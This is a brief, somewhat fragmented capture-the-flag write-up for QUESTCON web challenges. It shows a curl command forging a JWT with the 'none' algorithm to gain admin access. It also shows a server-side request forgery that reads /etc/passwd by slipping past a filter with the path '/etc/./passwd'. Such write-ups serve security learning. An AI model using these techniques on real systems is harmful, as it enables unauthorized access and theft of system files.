Hack. Eat. Sleep. Repeat!!!
robots.txt
that we all try to find and got a disallowed page.GET
for it.I used header OPTIONS
to find allowed http headers.Location
header.QUESTCON{mi3d1r3ct10n_15_4n_4r}
auth
takes in a username and returns a jwt token created with the username and route access
takes in the cookie and displays the username.alg
key to none
.curl https://questcon-theadmin.chals.io/access -H "Authorization: Bearer $(echo '{"alg":"none","typ":"JWT"}' | base64).eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzI5ODYwNTM2fQ"
{"flag":"QUESTCON{J3T_4lg0r1thm_15_vuln3r4bl3_70_n0n3}"}%
QUESTCON{J3T_4lg0r1thm_15_vuln3r4bl3_70_n0n3}
I checked the source code aand noticed a POST
request made to route /api
which loads a url.
fetch('/api', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ url: urlInput }),
})
I made an http request to google and it worked.
❯ curl https://questcon-temp.chals.io/api -H "Content-Type: application/json" -d '{"url": "https://www.google.com"}'
{"data":"<!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/WebPage\" lang=\"en\"><head><meta content=\"Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.\" name=\"description\"><meta content=\"noodp, \" name=\"robots\"><meta content=\"text/html; charset=UTF-8\"
I tried to read /etc/passwd
with file://
schema which did not work because it was filtered.Then, I tred /etc/./passwd
which worked.
/app/app.py
.I got this idea because most ctf challenges are stored in /app/app.py
.QUESTCON{r3c0ver_d3l3t3d_fil3}